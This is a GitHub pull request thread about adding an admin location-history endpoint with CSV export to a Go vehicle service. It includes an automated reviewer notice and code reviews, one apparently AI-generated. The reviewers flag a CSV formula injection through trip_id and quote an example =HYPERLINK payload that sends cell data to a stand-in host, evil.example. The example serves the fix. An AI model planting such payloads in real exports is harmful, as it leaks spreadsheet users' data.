add admin location history endpoint with JSON and CSV export

[diveshpatil9104]

Summary

Implements location history and CSV export for admin vehicle analytics, as specified in README Section 3.3 Admin Capabilities:

• "View trip history and location trails"
• "Download location data as CSV for analysis"

Supersedes #70 - all review feedback addressed.

[coderabbitai]

Warning

Review limit reached

@diveshpatil9104, you've reached your PR review limit, so we couldn't start this review.

Next review available in: 20 minutes

Enable usage-based reviews in Billing to review now. Otherwise, wait until the next included review is available.
You're only billed for reviews past your plan's rate limits ($0.25/file).

How can I continue?

After more reviews become available, a review can be triggered using the @coderabbitai review command as a PR comment. Alternatively, push new commits to this PR.

To avoid repeated limits, reduce automatic review volume by pausing incremental auto-reviews earlier, using label-based review opt-in, excluding WIP or generated PR titles, or requesting reviews manually when the PR is ready. If your team needs uninterrupted high-volume reviews, an organization admin can enable usage-based reviews.

How do review limits work?

CodeRabbit enforces per-developer PR review limits for each organization. Most developers receive the normal plan review availability.

For paid Pro and Pro+ PR reviews, CodeRabbit uses adaptive limits for sustained high-volume activity. When a developer's recent PR review activity reaches the 95th percentile or higher among CodeRabbit users, additional reviews become available more gradually as earlier reviews age out of the rolling window.

Please refer docs for additional details.

Review details

⚙️ Run configuration

Configuration used: Organization UI

Review profile: CHILL

Plan: Pro Plus

Run ID: 08fe3b86-10dd-4842-8083-b0f214f5e7d4

📥 Commits

Reviewing files that changed from the base of the PR and between 56c0d03 and 1293012.

📒 Files selected for processing (10)

• db/query.sql
• db/query.sql.go
• location_history_handlers.go
• location_history_handlers_test.go
• location_history_store.go
• location_history_store_test.go
• main.go
• migrations/000009_add_location_history_index.down.sql
• migrations/000009_add_location_history_index.up.sql
• route_wiring_test.go

✨ Finishing Touches

🧪 Generate unit tests (beta)

• Create PR with unit tests

---

Thanks for using CodeRabbit! It's free for OSS, and your support helps us grow. If you like it, consider giving us a shout-out.

❤️ Share

• X
• Mastodon
• Reddit
• LinkedIn

_{Comment @coderabbitai help to get the list of available commands.}

[aaronbrethorst]

Code review

Found 1 issue:

1. CSV formula injection: trip_id is written into the export verbatim. LocationReport.validate() in handlers.go performs no validation on TripID, so any authenticated driver can POST a location whose trip_id begins with =, +, -, or @ (e.g. =HYPERLINK("https://evil.example/?d="&A1,"open")), and it lands unescaped in the cell at record[6]. encoding/csv quotes commas/quotes/newlines but does nothing about leading formula characters, so the payload executes when an admin opens the download in Excel/LibreOffice/Sheets. This is a lower-privileged user injecting content into an admin-only export. Prefixing risky cells with a ' or a tab (or rejecting leading =+-@ on trip_id at ingest) would close it. Note the vehicle ID in Content-Disposition is fine — it is regex-validated — but trip_id never is.

vehicle-positions/location_history_handlers.go

Lines 146 to 152 in c7927dc

	formatOptionalFloat(p.Bearing),
	formatOptionalFloat(p.Speed),
	formatOptionalFloat(p.Accuracy),
	p.TripID,
	p.ReceivedAt.UTC().Format(time.RFC3339),
	}
	if err := writer.Write(record); err != nil {

Auth gating, the sqlc regeneration, timestamp units (seconds, matching the ingest path), UTC formatting of received_at, the 1000-row cap, and the nil-vs-zero handling for the nullable floats all check out.

🤖 Generated with Claude Code

_{- If this code review was useful, please react with 👍. Otherwise, react with 👎.}

[aaronbrethorst]

Divesh, this is a well-built endpoint and you addressed every item from the #70 review — the auth gating, the bounded default from, the sqlc regeneration, and the received_at JSON tag are all there. The composite index on (vehicle_id, timestamp DESC) is the right index for this query. I checked the timestamp units (seconds, matching the ingest path), the UTC formatting, the 1000-row cap, and the nil-vs-zero handling for the nullable floats, and they all hold up.

One thing blocks the merge, and it's a real bug rather than a nitpick.

Blocker: CSV formula injection via trip_id

writeCSV writes p.TripID verbatim into record[6]. I traced the field end to end: LocationReport.validate() in handlers.go validates vehicle_id (length + regex), lat/lon, and timestamp — but never touches TripID, and store.go passes it straight through to location_points.trip_id.

So any authenticated driver can POST a location with:

{"trip_id": "=HYPERLINK(\"https://evil.example/?d=\"&A1,\"click\")"}

…and it lands unescaped in the export. encoding/csv quotes commas, quotes, and newlines, but it does nothing about a leading =, +, -, or @ — those are formula prefixes, and Excel, LibreOffice, and Sheets will evaluate them when an admin opens the download. That's a lower-privileged user injecting executable content into an admin-only artifact.

The vehicle ID in Content-Disposition is fine, incidentally — it's regex-validated. It's specifically trip_id that never is.

Either fix works:

1. Escape on write — prefix any cell starting with =, +, -, @, tab, or CR with a single quote in writeCSV. Contained to this PR.
2. Validate at ingest — reject those leading characters on trip_id in validate(). Cleaner long-term, but it won't sanitize rows already in the table.

I'd lean toward (1) here, possibly both. A test that round-trips a =-prefixed trip_id through the CSV path would pin it.

Non-blocking, worth a look

• Silently truncated CSV. defer writer.Flush() discards the flush error and writer.Error() is never checked, so a write failure after WriteHeader(200) produces a truncated file with a success status and no log line. Only fires on a broken connection, but it's a silent failure.
• The new index takes an ACCESS EXCLUSIVE lock. Plain CREATE INDEX on location_points — the hot ingest table — blocks writes for the duration. CONCURRENTLY isn't viable inside golang-migrate's transaction, so this may be a deliberate accept; just flagging it since the table only grows. It also drops the IF NOT EXISTS that every other migration in the repo uses.
• No truncation signal. When count == limit the client can't tell whether more data exists. A has_more flag or a cursor would make the cap usable rather than silently lossy.
• ?to= alone gives a confusing 400. from defaults to now-86400, so passing only a to in the past trips the from > to check instead of doing what the caller meant.

Fix the injection and I'll re-review — the rest of this is in good shape.

[aaronbrethorst]

Heads up on top of the review above: #87 just landed on main and extracted all route registration out of main() into a new newMux(store, tracker, rateLimiter, jwtSecret, startTime) function, so this branch now has a conflict in main.go.

The resolution is small — your route line moves into newMux alongside the other admin routes, unchanged:

mux.Handle("GET /api/v1/admin/vehicles/{vehicleID}/locations", authMiddleware(adminMiddleware(handleGetLocationHistory(store, store))))

One extra step, though: newMux takes an appStore interface, so you'll need to add whatever methods handleGetLocationHistory requires to that interface, and add matching stubs to noopStore in route_wiring_test.go or the package won't compile. Worth adding the new route to the two table-driven tests in that file while you're there — it'd pin the admin gating on your endpoint the same way it does for the other 14.

main also picked up #64 (bearing/speed ingest validation) and #88 today, neither of which should touch this.

No re-review needed for the rebase itself — just the CSV escaping from the review above.

[aaronbrethorst]

Code review

No issues found. Checked for bugs and CLAUDE.md compliance.

🤖 Generated with Claude Code

[aaronbrethorst]

This closes it out — thank you for the fast turnaround. I verified the fix end to end: sanitizeCSVCell covers exactly the prefix set from the review (=, +, -, @, tab, CR), trip_id is the only free-form cell that needed it, and the round-trip test pushing a =HYPERLINK(...) payload through the CSV path pins the fix in place. The doc comment explaining why numeric cells are exempt is a nice touch.

The rebase onto #87 is clean too: the route sits in newMux behind both middleware layers, and adding it to the two table-driven wiring tests means the admin gating on this endpoint is now pinned the same way as the other routes. You also picked up every non-blocking item — has_more, the to-relative from default, the checked Flush(), and IF NOT EXISTS on the migration.

Approving and merging. One thought for a future PR, no action needed here: the CSV format has no equivalent of has_more, so a CSV consumer that gets exactly limit rows can't tell whether the export was truncated. An X-Has-More response header would close that gap.